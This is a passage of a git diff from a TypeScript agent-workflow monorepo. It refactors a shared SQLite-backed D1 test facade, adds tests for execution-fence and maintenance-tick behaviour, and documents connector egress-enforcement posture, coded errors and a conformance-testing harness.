-  return new mod.DatabaseSync(':memory:');
-}
-
-function sqliteUnitDatabase(db: SqliteDatabase): unknown {
-  const runSync = Symbol('runSync');
-
-  function statement(sql: string, params: unknown[]): Record<string, unknown> {
-    const execute = () => {
-      const outcome = db.prepare(sql).run(...params) as {
-        changes?: number | bigint;
-      };
-      return {
-        success: true,
-        meta: { changes: Number(outcome?.changes ?? 0) },
-      };
-    };
-    return {
-      bind: (...values: unknown[]) => statement(sql, values),
-      first: async (column?: string) => {
-        const row = db.prepare(sql).get(...params) as
-          | Record<string, unknown>
-          | undefined;
-        if (row === undefined) return null;
-        return column === undefined ? row : (row[column] ?? null);
-      },
-      run: async () => execute(),
-      [runSync]: execute,
-      all: async () => ({
-        success: true,
-        results: db.prepare(sql).all(...params),
-        meta: {},
-      }),
-    };
-  }
+import { executionFence, schedulesStore } from '../src/storage.js';
+import { openSqlite, sqliteUnitDatabase } from './sqlite.js';
 
+vi.mock('@proofoftech/flowsafe/agent-host', async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import('@proofoftech/flowsafe/agent-host')>();
   return {
-    prepare: (sql: string) => statement(sql, []),
-    batch: async (
-      statements: Array<{
-        run: () => Promise<unknown>;
-        [runSync]?: () => unknown;
-      }>,
-    ) => {
-      db.exec('BEGIN IMMEDIATE');
-      try {
-        const results = [];
-        for (const prepared of statements) {
-          results.push(
-            prepared[runSync] ? prepared[runSync]() : await prepared.run(),
-          );
-        }
-        db.exec('COMMIT');
-        return results;
-      } catch (error) {
-        db.exec('ROLLBACK');
-        throw error;
-      }
-    },
+    ...actual,
+    createThreadAgentHost: vi.fn(actual.createThreadAgentHost),
   };
-}
+});
 
 describe('starter run lifecycle wiring', () => {
+  it('FS8 D3 host activation passes the verified instance to cold alarm recovery', async () => {
+    const db = sqliteUnitDatabase(openSqlite()) as Env['DB'];
+    await seedDeploymentIdentity(db, 'acme', 'open');
+    const values = new Map<string, unknown>();
+    let alarm: number | null = null;
+    const state = {
+      id: { name: 'starter-cold-thread' },
+      storage: {
+        async get<T>(key: string): Promise<T | undefined> {
+          return values.get(key) as T | undefined;
+        },
+        async put(key: string, value: unknown) {
+          values.set(key, structuredClone(value));
+        },
+        async delete(key: string) {
+          return values.delete(key);
+        },
+        async list({ prefix }: { prefix: string }) {
+          return new Map([...values].filter(([key]) => key.startsWith(prefix)));
+        },
+        async getAlarm() {
+          return alarm;
+        },
+        async setAlarm(at: number | Date) {
+          alarm = at instanceof Date ? at.getTime() : at;
+        },
+        async deleteAlarm() {
+          alarm = null;
+        },
+      },
+    } as unknown as DurableObjectState;
+    const env = {
+      DB: db,
+      DEPLOYMENT_TENANT: 'acme',
+      DEPLOYMENT_IDENTITY_SECRET: 'starter-alarm-identity-secret-0001',
+    } as Env;
+    const createHost = vi.mocked(createThreadAgentHost);
+    const actualCreate = createHost.getMockImplementation();
+    if (!actualCreate) throw new Error('actual host factory is missing');
+    const scopes: AgentThreadInstanceScope[] = [];
+    createHost.mockImplementation((options) => {
+      const host = actualCreate(options);
+      const recover = host.recoverOwnership;
+      vi.spyOn(host, 'recoverOwnership').mockImplementation((scope) => {
+        scopes.push(scope);
+        return recover.call(host, scope);
+      });
+      return host;
+    });
+    try {
+      await new StarterThread(state, env).alarm();
+      expect(scopes).toHaveLength(1);
+      expect(scopes[0]).toMatchObject({
+        threadId: 'starter-cold-thread',
+        deploymentTag: 'acme',
+      });
+      expect(scopes[0]?.init.runtime.executionFence).toBe(executionFence(db));
+      expect(scopes[0]).not.toHaveProperty('principal');
+      expect(values.size).toBe(0);
+      expect(alarm).toBeNull();
+    } finally {
+      createHost.mockImplementation(actualCreate);
+    }
+  });
+
   it('marks only a fully identified idle-run dispatch as lease-held', () => {
     expect(
       idleRunScheduleDispatch({
diff --git a/packages/agent-starter/test/execution-fence-composition.test.ts b/packages/agent-starter/test/execution-fence-composition.test.ts
index 98c23b3e..0eff7560 100644
--- a/packages/agent-starter/test/execution-fence-composition.test.ts
+++ b/packages/agent-starter/test/execution-fence-composition.test.ts
@@ -1,104 +1,23 @@
 // SPDX-License-Identifier: Apache-2.0
-// The composition proof the unit tests cannot make. flowsafe pins what a fenced
-// tick DOES; this pins that THIS HOST wired one — the failure the required
-// `executionFence` option exists to prevent is a deployment where the runtime is
-// fenced and the tick is not, and every flowsafe test would still pass.
-//
-// The loss is silent and total: an unfenced tick claims a due fire through the
-// schedules CAS, which advances `nextFireAt`, and the fenced runtime then
-// refuses the start. The fire is consumed and never runs, and nothing reports
-// it — which is why the assertion below is on the schedule ROW, not on the
-// tally the pass returned.
 
-import { ExecutionFenceStore } from '@proofoftech/flowsafe/do-runner';
+import type { WorkflowRunState } from '@mastra/core/workflows';
+import { humanPrincipal } from '@proofoftech/flowsafe/approval-api';
+import {
+  createD1Storage,
+  ExecutionFenceStore,
+  StartIdempotencyStore,
+} from '@proofoftech/flowsafe/do-runner';
+import { approvalStoreFactoryFor } from '@proofoftech/flowsafe/host-kit';
+import {
+  D1SchedulesStorage,
+  FENCED_SCHEDULE_STORAGE,
+} from '@proofoftech/flowsafe/schedules';
 import { describe, expect, it } from 'vitest';
 
 import { starterMaintenanceTick } from '../src/maintenance.js';
-import { schedulesStore } from '../src/storage.js';
-
-interface SqliteStatement {
-  get(...params: unknown[]): unknown;
-  run(...params: unknown[]): unknown;
-  all(...params: unknown[]): unknown[];
-}
-
-interface SqliteDatabase {
-  prepare(sql: string): SqliteStatement;
-  exec(sql: string): void;
-}
-
-function openSqlite(): SqliteDatabase {
-  const getBuiltin = (
-    globalThis as {
-      process?: { getBuiltinModule?: (id: string) => unknown };
-    }
-  ).process?.getBuiltinModule;
-  if (!getBuiltin) {
-    throw new Error('node:sqlite unavailable; tests require Node.js 22.13+');
-  }
-  const mod = getBuiltin('node:sqlite') as {
-    DatabaseSync: new (path: string) => SqliteDatabase;
-  };
-  return new mod.DatabaseSync(':memory:');
-}
-
-function sqliteUnitDatabase(db: SqliteDatabase): unknown {
-  const runSync = Symbol('runSync');
-
-  function statement(sql: string, params: unknown[]): Record<string, unknown> {
-    const execute = () => {
-      const outcome = db.prepare(sql).run(...params) as {
-        changes?: number | bigint;
-      };
-      return {
-        success: true,
-        meta: { changes: Number(outcome?.changes ?? 0) },
-      };
-    };
-    return {
-      bind: (...values: unknown[]) => statement(sql, values),
-      first: async (column?: string) => {
-        const row = db.prepare(sql).get(...params) as
-          | Record<string, unknown>
-          | undefined;
-        if (row === undefined) return null;
-        return column === undefined ? row : (row[column] ?? null);
-      },
-      run: async () => execute(),
-      [runSync]: execute,
-      all: async () => ({
-        success: true,
-        results: db.prepare(sql).all(...params),
-        meta: {},
-      }),
-    };
-  }
-
-  return {
-    prepare: (sql: string) => statement(sql, []),
-    batch: async (
-      statements: Array<{
-        run: () => Promise<unknown>;
-        [runSync]?: () => unknown;
-      }>,
-    ) => {
-      db.exec('BEGIN IMMEDIATE');
-      try {
-        const results = [];
-        for (const prepared of statements) {
-          results.push(
-            prepared[runSync] ? prepared[runSync]() : await prepared.run(),
-          );
-        }
-        db.exec('COMMIT');
-        return results;
-      } catch (error) {
-        db.exec('ROLLBACK');
-        throw error;
-      }
-    },
-  };
-}
+import { contextForPrincipal } from '../src/principal-context.js';
+import { createComposedStorage, schedulesStore } from '../src/storage.js';
+import { openSqlite, sqliteUnitDatabase } from './sqlite.js';
 
 const NOW = 1_750_000_000_000;
 
@@ -131,15 +50,24 @@ function starterEnv(db: Env['DB']): Env {
 }
 
 describe('starter maintenance tick and the deployment execution fence', () => {
+  it('uses the original database for direct and composed schedule capabilities', async () => {
+    const db = sqliteUnitDatabase(openSqlite()) as Env['DB'];
+    const direct = schedulesStore(db);
+    expect(direct[FENCED_SCHEDULE_STORAGE]?.database).toBe(db);
+    const storage = createComposedStorage(db);
+    await storage.init();
+    const domain = await storage.getStore('schedules');
+    expect(domain).toBeInstanceOf(D1SchedulesStorage);
+    if (!(domain instanceof D1SchedulesStorage))
+      throw new Error('composed schedule domain is missing');
+    expect(domain[FENCED_SCHEDULE_STORAGE]?.database).toBe(db);
+  });
+
   it('leaves a due schedule row untouched while the deployment is migration-locked', async () => {
-    // #given — this host's own tick over a database whose fence is locked. The
-    // fence store is built from the SAME binding the tick's own
-    // `executionFence(env.DB)` resolves, which is the wiring under test: a tick
-    // pointed at another database would read `open` here and claim.
     const db = sqliteUnitDatabase(openSqlite()) as Env['DB'];
     const env = starterEnv(db);
     const fence = new ExecutionFenceStore(db);
-    await fence.seed('migration-locked');
+    await fence.seed('open');
 
     const store = schedulesStore(db);
     const due = {
@@ -157,16 +85,140 @@ describe('starter maintenance tick and the deployment execution fence', () => {
       metadata: {},
     };
     await store.createSchedule(due);
+    await fence.transition({ expected: 'open', next: 'draining' });
+    await fence.transition({
+      expected: 'draining',
+      next: 'migration-locked',
+    });
     const before = await store.getSchedule(due.id);
 
-    // #when — the cron duty runs, exactly as the maintenance Durable Object
-    // invokes it.
     await starterMaintenanceTick(env)();
 
-    // #then — the row is byte-identical. Nothing was claimed, so the fire is
-    // still due and the deployment taking over will run it.
     await expect(store.getSchedule(due.id)).resolves.toEqual(before);
     await expect(store.listDueSchedules(NOW, 10)).resolves.toHaveLength(1);
     await expect(store.listTriggers(due.id)).resolves.toEqual([]);
   });
 });
+
+describe('FS8 D3 proof activation in the starter', () => {
+  it.each([
+    '',
+    'other_',
+  ])('decides only the configured default workflow namespace when proof is %s', async (proofPrefix) => {
+    const db = sqliteUnitDatabase(openSqlite()) as Env['DB'];
+    const env = { DB: db, DEPLOYMENT_TENANT: 'acme' } as Env;
+    const fence = new ExecutionFenceStore(db);
+    const owner = { kind: 'human' as const, id: 'requester' };
+    const workflowId = 'starter-proof';
+    const runId = 'starter-proof-run';
+    for (const prefix of new Set(['', proofPrefix])) {
+      const storage = createD1Storage({ binding: db, tablePrefix: prefix });
+      await storage.init();
+      const workflows = await storage.getStore('workflows');
+      if (!workflows) throw new Error('workflow fixture storage is missing');
+      const snapshot: WorkflowRunState = {
+        runId,
+        status: 'suspended',
+        value: {},
+        context: {},
+        serializedStepGraph: [],
+        activePaths: [],
+        activeStepsPath: {},
+        suspendedPaths: {},
+        resumeLabels: {},
+        waitingPaths: {},
+        timestamp: 1_700_000_000_000,
+        requestContext: {
+          'flowsafe.runProvenance': {
+            version: 2,
+            startToken: `generation-${prefix || 'default'}`,
+            attemptToken: 'leg',
+            resumeCounts: [],
+            startIdentity: {
+              owner,
+              target: { kind: 'workflow', id: workflowId },
+            },
+          },
+        },
+      };
+      await workflows.persistWorkflowSnapshot({
+        workflowName: workflowId,
+        runId,
+        snapshot,
+      });
+    }
+    const current = await fence.readCurrentRunExecution({
+      tablePrefix: proofPrefix,
+      workflowId,
+      runId,
+    });
+    if (!current) throw new Error('proof fixture generation is missing');
+    const execution = {
+      ...current,
+      owner,
+      target: { kind: 'workflow' as const, id: workflowId },
+    };
+    const reservations = new StartIdempotencyStore(db);
+    const reserved = await reservations.reserve({
+      key: 'starter-proof-key',
+      owner,
+      targetKind: 'workflow',
+      targetId: workflowId,
+      mintRunId: () => runId,
+    });
+    const bound = await reservations.associateReservation(
+      reserved.reservation,
+      execution,
+    );
+    await fence.transition({
+      expected: 'open',
+      next: 'proof-only',
+      proofKey: reserved.reservation.key,
+    });
+    const reading = await fence.read();
+    expect(
+      await fence.rebindProofRun({
+        reservation: bound,
+        execution,
+        proof: {
+          key: bound.key,
+          mutationEpoch: reading.mutationEpoch,
+          transitionRevision: reading.transitionRevision,
+        },
+        reservationStore: reservations,
+      }),
+    ).toBe(true);
+    const store = approvalStoreFactoryFor(db).store();
+    const at = new Date(1_700_000_000_000).toISOString();
+    await store.create({
+      id: 'starter-proof-approval',
+      workflowId,
+      runId,
+      title: 'Approve the selected generation',
+      connectors: [],
+      priority: 'normal',
+      status: 'pending',
+      requestedBy: owner.id,
+      requestedByKind: owner.kind,
+      createdAt: at,
+      updatedAt: at,
+    });
+    const reviewer = { id: 'reviewer', role: 'reviewer' as const };
+    const context = contextForPrincipal(env, humanPrincipal(reviewer));
+    const decision = context
+      .service()
+      .decide('starter-proof-approval', { decision: 'approve' }, reviewer);
+    if (proofPrefix === '') {
+      await expect(decision).resolves.toMatchObject({
+        record: { status: 'approved' },
+      });
+    } else {
+      await expect(decision).rejects.toMatchObject({
+        reason: { code: 'EXECUTION_FENCED' },
+      });
+    }
+    expect((await store.get('starter-proof-approval'))?.status).toBe(
+      proofPrefix === '' ? 'approved' : 'pending',
+    );
+  });
+});
diff --git a/packages/agent-starter/test/maintenance-tick-refusal.test.ts b/packages/agent-starter/test/maintenance-tick-refusal.test.ts
new file mode 100644
index 00000000..66d418a3
--- /dev/null
+++ b/packages/agent-starter/test/maintenance-tick-refusal.test.ts
@@ -0,0 +1,169 @@
+// SPDX-License-Identifier: Apache-2.0
+// The maintenance tick against a mocked `createNotificationDispatchTick`:
+// refusing the way an unpatched @mastra/core does, and constructing where a
+// case overrides it. The mocks are file-scoped, so these cases live apart from
+// the rest of the starter's tick coverage.
+
+import type {
+  ScheduleTickOptions,
+  ScheduleTickResult,
+} from '@proofoftech/flowsafe/schedules';
+import type {
+  NotificationDispatchTickOptions,
+  NotificationDispatchTickResult,
+} from '@proofoftech/flowsafe/signals';
+import { beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { starterMaintenanceTick } from '../src/maintenance.js';
+
+const PATCH_MESSAGE = /Apply the flowsafe patch to @mastra\/core/;
+
+// Hoisted with the `vi.mock` factories that reference them: a factory runs
+// above module-scope bindings, so one closing over a plain `const` throws
+// `Cannot access '<name>' before initialization` at import.
+const mocks = vi.hoisted(() => {
+  const scheduleResult: ScheduleTickResult = {
+    due: 0,
+    fired: 0,
+    skipped: 0,
+    failed: 0,
+    deferred: 0,
+    reconciled: 0,
+    lost: 0,
+  };
+  const notificationResult: NotificationDispatchTickResult = {
+    due: 2,
+    delivered: 1,
+    failed: 1,
+  };
+  const scheduleTick = vi.fn(
+    async (): Promise<ScheduleTickResult> => ({ ...scheduleResult }),
+  );
+  const notificationTick = vi.fn(
+    async (): Promise<NotificationDispatchTickResult> => ({
+      ...notificationResult,
+    }),
+  );
+  return {
+    scheduleResult,
+    notificationResult,
+    scheduleTick,
+    notificationTick,
+    createScheduleTick: vi.fn(
+      (_options: ScheduleTickOptions): (() => Promise<ScheduleTickResult>) =>
+        scheduleTick,
+    ),
+    createNotificationDispatchTick: vi.fn(
+      (
+        _options: NotificationDispatchTickOptions,
+      ): (() => Promise<NotificationDispatchTickResult>) => {
+        // Stands in for an unpatched core's refusal. It does not copy the
+        // sentence flowsafe emits; PATCH_MESSAGE is what the cases match.
+        throw new TypeError(
+          'mocked unpatched core: Apply the flowsafe patch to @mastra/core',
+        );
+      },
+    ),
+  };
+});
+
+// The spread keeps every other export live: storage.ts imports the D1 storage
+// classes from these same two barrels.
+vi.mock('@proofoftech/flowsafe/schedules', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('@proofoftech/flowsafe/schedules')>()),
+  createScheduleTick: mocks.createScheduleTick,
+}));
+
+vi.mock('@proofoftech/flowsafe/signals', async (importOriginal) => ({
+  ...(await importOriginal<typeof import('@proofoftech/flowsafe/signals')>()),
+  createNotificationDispatchTick: mocks.createNotificationDispatchTick,
+}));
+
+/**
+ * A namespace stub. The tick builds its run/thread topologies eagerly, and no
+ * pass here addresses one — reaching this is the failure.
+ */
+function namespace(): Env['RUNNER'] {
+  const unreachable = () => {
+    throw new Error(
+      'the maintenance tick addressed a Durable Object; no pass in this file should',
+    );
+  };
+  return {
+    idFromName: unreachable,
+    idFromString: unreachable,
+    newUniqueId: unreachable,
+    get: unreachable,
+  } as unknown as Env['RUNNER'];
+}
+
+/**
+ * A plain object stands in for the D1 binding: both tick factories are mocked,
+ * and the wiring-time store calls only key a `WeakMap` on the binding, so no
+ * statement here reads a database.
+ */
+function starterEnv(): Env {
+  return {
+    DB: {} as Env['DB'],
+    DEPLOYMENT_TENANT: 'acme',
+    DEPLOYMENT_IDENTITY_SECRET: 'test-deployment-identity-secret-0001',
+    RUNNER: namespace(),
+    THREAD: namespace(),
+  } as unknown as Env;
+}
+
+beforeEach(() => {
+  mocks.scheduleTick.mockClear();
+  mocks.createScheduleTick.mockClear();
+  mocks.createNotificationDispatchTick.mockClear();
+  mocks.notificationTick.mockClear();
+});
+
+describe('starter maintenance tick against an unpatched core', () => {
+  it('wires the duty without constructing the notification tick', () => {
+    expect(() => starterMaintenanceTick(starterEnv())).not.toThrow();
+    expect(mocks.createNotificationDispatchTick).not.toHaveBeenCalled();
+  });
+
+  it('fails the notifications leg after the schedule leg has run', async () => {
+    const tick = starterMaintenanceTick(starterEnv());
+
+    await expect(tick()).rejects.toThrow(PATCH_MESSAGE);
+
+    expect(mocks.scheduleTick).toHaveBeenCalledTimes(1);
+    expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(1);
+  });
+
+  it('retries the refused construction on the next pass', async () => {
+    const tick = starterMaintenanceTick(starterEnv());
+
+    await expect(tick()).rejects.toThrow(PATCH_MESSAGE);
+    await expect(tick()).rejects.toThrow(PATCH_MESSAGE);
+
+    expect(mocks.scheduleTick).toHaveBeenCalledTimes(2);
+    expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(2);
+  });
+});
+
+describe('starter maintenance tick with a constructing factory', () => {
+  it('invokes the constructed tick on each pass and constructs it once', async () => {
+    mocks.createNotificationDispatchTick.mockImplementationOnce(
+      () => mocks.notificationTick,
+    );
+    const tick = starterMaintenanceTick(starterEnv());
+
+    const first = await tick();
+    const second = await tick();
+
+    // Both legs' results reach the caller, so a notificationTick that returned
+    // the constructed tick instead of calling it goes red here.
+    const composed = {
+      schedules: mocks.scheduleResult,
+      notifications: mocks.notificationResult,
+    };
+    expect(first).toEqual(composed);
+    expect(second).toEqual(composed);
+    expect(mocks.notificationTick).toHaveBeenCalledTimes(2);
+    expect(mocks.createNotificationDispatchTick).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/packages/agent-starter/test/sqlite.ts b/packages/agent-starter/test/sqlite.ts
new file mode 100644
index 00000000..93858030
--- /dev/null
+++ b/packages/agent-starter/test/sqlite.ts
@@ -0,0 +1,89 @@
+// SPDX-License-Identifier: Apache-2.0
+// The node:sqlite-backed D1 facade the starter's unit suites share. It is not
+// D1, workerd or Worker-runtime evidence: those claims belong to the Wrangler
+// harness in the flowsafe package.
+
+interface SqliteStatement {
+  get(...params: unknown[]): unknown;
+  all(...params: unknown[]): unknown[];
+}
+
+export interface SqliteDatabase {
+  prepare(sql: string): SqliteStatement;
+  exec(sql: string): void;
+}
+
+export function openSqlite(): SqliteDatabase {
+  const getBuiltin = (
+    globalThis as {
+      process?: { getBuiltinModule?: (id: string) => unknown };
+    }
+  ).process?.getBuiltinModule;
+  if (!getBuiltin) {
+    throw new Error('node:sqlite unavailable; tests require Node.js 22.13+');
+  }
+  const mod = getBuiltin('node:sqlite') as {
+    DatabaseSync: new (path: string) => SqliteDatabase;
+  };
+  return new mod.DatabaseSync(':memory:');
+}
+
+export function sqliteUnitDatabase(db: SqliteDatabase): unknown {
+  const runSync = Symbol('runSync');
+
+  function statement(sql: string, params: unknown[]): Record<string, unknown> {
+    const execute = () => {
+      const results = db.prepare(sql).all(...params);
+      const outcome = db.prepare('SELECT changes() AS count').get() as {
+        count: number | bigint;
+      };
+      return {
+        success: true,
+        results,
+        meta: { changes: Number(outcome.count) },
+      };
+    };
+    return {
+      bind: (...values: unknown[]) => statement(sql, values),
+      first: async (column?: string) => {
+        const row = db.prepare(sql).get(...params) as
+          | Record<string, unknown>
+          | undefined;
+        if (row === undefined) return null;
+        return column === undefined ? row : (row[column] ?? null);
+      },
+      run: async () => execute(),
+      [runSync]: execute,
+      all: async () => ({
+        success: true,
+        results: db.prepare(sql).all(...params),
+        meta: {},
+      }),
+    };
+  }
+
+  return {
+    prepare: (sql: string) => statement(sql, []),
+    batch: async (
+      statements: Array<{
+        run: () => Promise<unknown>;
+        [runSync]?: () => unknown;
+      }>,
+    ) => {
+      db.exec('BEGIN IMMEDIATE');
+      try {
+        const results = [];
+        for (const prepared of statements) {
+          results.push(
+            prepared[runSync] ? prepared[runSync]() : await prepared.run(),
+          );
+        }
+        db.exec('COMMIT');
+        return results;
+      } catch (error) {
+        db.exec('ROLLBACK');
+        throw error;
+      }
+    },
+  };
+}
diff --git a/packages/agent-starter/tsconfig.json b/packages/agent-starter/tsconfig.json
index 64594247..1aa89f99 100644
--- a/packages/agent-starter/tsconfig.json
+++ b/packages/agent-starter/tsconfig.json
@@ -6,5 +6,5 @@
     "noEmit": true,
     "types": ["@cloudflare/workers-types", "vitest/globals"]
   },
-  "include": ["src/**/*.ts", "test/**/*.ts"]
+  "include": ["src/**/*.ts", "test/**/*.ts", "vitest.config.ts"]
 }
diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md
index e6a4c7af..c0d79636 100644
--- a/packages/breakwater/CONNECTORS.md
+++ b/packages/breakwater/CONNECTORS.md
@@ -157,6 +157,7 @@ degraded store or a stale idempotency reservation takeover.
 | --- | --- | --- |
 | `sideEffect` | The worst state change the connector can cause | `read` is read-only. `write`, `destructive`, and `idempotent` are write-class. `destructive` requires approval by default. Mastra MCP hints are derived from this value. |
 | `egress` | Every hostname the connector contacts | Entries must be bare hosts or leading `*.` wildcards. The organization policy gates the declared list. `runtime.fetch` gates actual HTTP(S) requests and redirect hops against the declaration. An empty or absent list means no network through that fetch. |
+| `egressEnforcement` | Whether the declared list binds actual traffic | `enforced` asserts every HTTP request leaves through `runtime.fetch`, and covers a connector that issues no HTTP request at all: it is a claim about HTTP traffic, not about platform bindings (D1, KV, R2, service bindings), which the guard never sees. `declaration-only` states a vendor SDK or child process carries its own transport. An omitted field resolves to `declaration-only`. `connectorEgressPosture()` reads the resolved value and every connector audit event carries it. |
 | `requiresApproval` | This connector always needs human approval | Real execution requires a matching structured grant in `breakwater.connectorGrants`, regardless of call path. Mastra's native approval pause is also enabled, but the grant remains the authorization token. |
 | `dryRun` | A side-effect-free simulation exists | Requires `dryRunExecute`. The wrapper rejects a `dryRunExecute` that the manifest does not declare. A dry-run request never falls through to real execution. |
 | `idempotencyKey` | Repeated operation identities must replay | Requires `policies.idempotencyStore` and a non-empty `breakwater.idempotencyKey` for each real call. |
@@ -175,6 +176,10 @@ derives MCP `readOnlyHint`, `destructiveHint`, `idempotentHint`, and
 `openWorldHint` annotations from this manifest. These hints describe the tool;
 the wrapper remains the enforcement boundary.
 
+`connectorEgressPosture(tool)` reads the resolved egress posture, defaulting to
+`declaration-only` when the manifest omits it and returning `undefined` for
+a tool that `createConnector()` did not build.
+
 `background: true` only tells the breakwater wrapper that a read connector can
 accept background intent. Mastra owns whether an agent or tool is eligible for
 background execution. On the normal agent path, Mastra removes `_background`
@@ -197,6 +202,7 @@ contain `_background`.
 | `rateLimitStore` | Atomic fixed-window counters | `permissions.rateLimit` is present. |
 | `audit` | Structured decision sink | Optional but recommended for every production deployment. |
 | `fetch` | Base fetch wrapped by `runtime.fetch` | Optional. Inject vendor mocks in tests or a platform fetch in nonstandard runtimes. |
+| `requireEgressEnforcement` | Refuse a connector whose posture is not `enforced` | Optional. Pass it on a call whose connector must not rely on a boundary outside `runtime.fetch`. |
 
 The included tool evaluators are:
 
@@ -284,7 +290,7 @@ await invokeConnector(connector, input, {
 });
 ```
 
-Do not store this value in `RequestContext` or build a partial Mastra agent context. Concurrent calls can share a `RequestContext` while carrying different tool-call identities. A validation failure throws `ConnectorValidationError` with only the connector ID and the safe phase, `input` or `output`. It never exposes Mastra's message, schema issue text, invalid value, or cause.
+Do not store this value in `RequestContext` or build a partial Mastra agent context. Concurrent calls can share a `RequestContext` while carrying different tool-call identities. A validation failure throws `ConnectorValidationError` with a stable kind/code, connector ID and phase, `input` or `output`. It never exposes Mastra's message, schema issue text, invalid value, or cause.
 
 To request simulation:
 
@@ -336,9 +342,8 @@ const rateLimitStore = new D1RateLimitStore(env.DB, {
 `pendingTtlMs` must exceed the longest real execution. A takeover that fires
 while the original holder is still running can duplicate a write. The default
 is 900,000 ms. The Agent CLI wrapper checks this against its own timeout when
-both idempotency and a store exposing `pendingTtlMs` are configured.
-The constructor accepts only positive safe integers up to
-8,640,000,000,000,000 ms.
+both idempotency and a store exposing `pendingTtlMs` are configured. The
+constructor accepts only positive safe integers up to 8,640,000,000,000,000 ms.
 `D1IdempotencyStoreOptions.now` is a clock override for deterministic tests;
 production should use the default clock.
 
@@ -472,13 +477,19 @@ redirect failure.
 The guard cannot see global `fetch`, a vendor SDK with its own transport, a raw
 socket, or child-process traffic. Pass `runtime.fetch` into SDKs that support a
 custom fetch or transport. Use a container, VM, or network policy when traffic
-outside this seam must also be denied.
+outside this seam must also be denied. Declare
+`egressEnforcement: 'declaration-only'` when traffic bypasses the guard; the
+posture makes that degradation explicit and auditable.
 
 ## Handle errors and audit safely
 
-Policy denials throw `ConnectorPolicyError` with `connector`, `policy`, and
-`reason`. Standalone `egressFetch()` throws `EgressDeniedError` by default or
-uses the caller's `denied()` mapper.
+Use `ConnectorPolicyError.code` for machine handling and keep `policy`/`reason` for diagnostics. The error also exposes a stable kind, canonical `policyKind`, retryability and code-specific safe details. Custom policy names and the three-string constructor remain supported. The legacy constructor uses `EVALUATOR_DENIED`; it does not infer a code from the name.
+
+Read the [decision-code catalogue](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/connector-interface.md#connector-decision-codes) for coverage and retry semantics. `CONNECTOR_DECISIONS`, `isConnectorDecisionCode` and `connectorDecisionRetryable` are exported from the SDK and root entries. SDK audit records carry matching `decisionCode`, `policyKind` and `retryable` fields.
+
+Before execution, rate-limit and idempotency store failures throw `ConnectorStoreError` with `STORE_UNAVAILABLE`, the actual operation, and the original exception on native `cause`. Post-effect commit and best-effort release failures remain audited and suppressed; their codes are non-retryable. Evaluator failures use `ConnectorEvaluatorError`. The Agent CLI adapter preserves these classifications while omitting raw causes.
+
+Standalone `egressFetch()` emits coded `EgressDeniedError` and redirect `EgressGuardError` values. A custom `denied()` mapper receives the code and owns the error it returns.
 
 The connector wrapper rethrows errors from your `execute()` implementation so
 your caller can handle the original failure. It does not copy arbitrary thrown
@@ -602,7 +613,11 @@ safe.
 The child does not use `ConnectorRuntime.fetch`. Its provider egress list is
 therefore enforced as a declaration against the organization policy, not as
 socket-level interception. Apply host network controls for actual child
-traffic.
+traffic. The adapter declares `egressEnforcement: 'declaration-only'`. A
+`createConnector()` call whose `policies` set `requireEgressEnforcement`
+therefore cannot register an Agent CLI adapter: construction throws a
+`TypeError`. Pass that flag on the calls whose connectors declare `'enforced'`,
+and put the child behind a host network boundary.
 
 ### Know the CLI data boundary
 
@@ -694,6 +709,149 @@ The repository examples use `#given`, `#when`, and `#then` comments. See
 and
 [`connector-sdk.test.ts`](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/src/connector-sdk/connector-sdk.test.ts).
 
+### Assert connector conformance
+
+Run `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` in your connector's test suite. It certifies the supplied cases for a connector declaring `egressEnforcement: 'enforced'`. A non-conformant run rejects with `ConnectorConformanceError`; its `.report` contains the evidence and findings.
+
+Supply a synchronous factory that constructs a fresh connector using both members of `conformance.policies`: the inert `fetch` transport and the harness's `audit` logger. A factory that instead closes over a fixed `policies` value — as the starter's `createRecordActionConnector(db)` does — cannot be certified as it stands: the harness's logger records no witness for the case, which the report names `POLICIES_NOT_WIRED`. Give such a connector a construction seam that accepts supplied policies first. For example:
+
+```typescript
+import {
+  assertConnectorConformance,
+  type ConnectorConformanceFactory,
+  createConnector,
+} from '@proofoftech/breakwater/connector-sdk';
+
+const manifest = {
+  sideEffect: 'read',
+  egress: ['api.vendor.example'],
+  egressEnforcement: 'enforced',
+} as const;
+const factory: ConnectorConformanceFactory<unknown, { ok: boolean }> = (
+  conformance,
+) =>
+  createConnector({
+    id: 'vendor.read',
+    description: 'Read a vendor record',
+    permissions: manifest,
+    policies: conformance.policies,
+    execute: async (_input, _context, { fetch }) => {
+      const response = await fetch('https://api.vendor.example');
+      return { ok: response.ok };
+    },
+  });
+```
+
+A run calls that factory once before any case and once for each case. The first call builds the **probe**: the connector the harness reads the registered manifest and posture from, and whose own instrumentation it verifies before a case runs. The probe's connector answers no case and is discarded; every case gets its own connector, its own transport and its own logger. Make the factory cheap and repeatable — it runs `1 + cases.length` times — and give it no state a second call would find already spent.
+
+Name the case and the outcome it must demonstrate:
+
+```typescript
+const report = await assertConnectorConformance(factory, {
+  manifest,
+  cases: [{
+    name: 'reads the declared vendor',
+    input: {},
+    expect: {
+      outcome: 'guarded-request',
+      hosts: ['api.vendor.example'],
+    },
+  }],
+});
+```
+
+The `manifest` you pass is your claim about the connector, which the harness compares against the manifest the connector registered. The example above passes the object the factory itself declared, so that comparison is an object against itself and establishes nothing. Write the claim independently — a literal in the test file, or a fixture the connector module does not import — and `MANIFEST_MISMATCH` then reports a declaration that has drifted from what you expect to ship.
+
+When using `singleTenantConnectorPolicies`, pass the supplied members into the preset. Spreading them around an already validated preset fails its tamper checks. Replace the factory's `policies` value with:
+
+```typescript
+singleTenantConnectorPolicies({
+  audit: { mode: 'production', logger: conformance.policies.audit },
+  egress: { allowedDomains: ['api.vendor.example'] },
+  permissions: { principalPermissions: 'not-configured' },
+  fetch: conformance.policies.fetch,
+})
+```
+
+Import `singleTenantConnectorPolicies` from the connector SDK. Use the production audit arm: the development arm drops `audit` and silences the decisions the harness measures. The supplied logger already has the external sink that production requires; pass it through.
+
+Read failures using the report's finding codes:
+
